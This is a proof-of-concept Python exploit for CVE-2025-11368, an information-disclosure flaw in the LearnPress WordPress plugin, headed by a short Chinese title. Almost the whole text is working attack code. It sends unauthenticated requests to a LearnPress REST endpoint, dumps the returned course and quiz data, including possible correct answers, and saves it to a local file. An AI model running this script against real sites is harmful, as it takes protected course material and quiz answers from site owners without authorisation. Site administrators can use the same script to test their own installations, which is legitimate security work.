CVE-2025-11368 LearnPress插件敏感信息泄露漏洞

import requests import json # CVE-2025-11368 PoC - LearnPress Sensitive Information Disclosure # Target: WordPress site with LearnPress plugin <= 4.2.9.4 target_url = "http://target-wordpress-site.com" # Endpoint vulnerable to information disclosure endpoint = "/wp-json/lp/v1/load_content_via_ajax" # Payload to retrieve course content (need valid course/quiz IDs) # Replace COURSE_ID with actual course ID found on the site course_id = "1" # Example course ID params = { "id": course_id, "type": "course" # Can be 'course', 'quiz', 'lesson', etc. } url = f"{target_url}{endpoint}" print(f"[*] Sending request to: {url}") print(f"[*] Parameters: {params}") # No authentication required - this is the vulnerability response = requests.get(url, params=params) if response.status_code == 200: try: data = response.json() print("\n[+] Vulnerable! Received response:") print(json.dumps(data, indent=2, ensure_ascii=False)) # Save sensitive data with open(f"cve-2025-11368_course_{course_id}.json", "w") as f: json.dump(data, f, indent=2, ensure_ascii=False) print(f"\n[+] Data saved to cve-2025-11368_course_{course_id}.json") except: print("\n[+] Response received (not JSON):") print(response.text[:1000]) else: print(f"\n[-] Request failed with status: {response.status_code}") # Example: Enumerate quiz questions with correct answers quiz_id = "1" params_quiz = { "id": quiz_id, "type": "quiz" } print(f"\n[*] Attempting to retrieve quiz questions...") response_quiz = requests.get(url, params=params_quiz) if response_quiz.status_code == 200: print("[+] Quiz data retrieved - may contain correct answers!")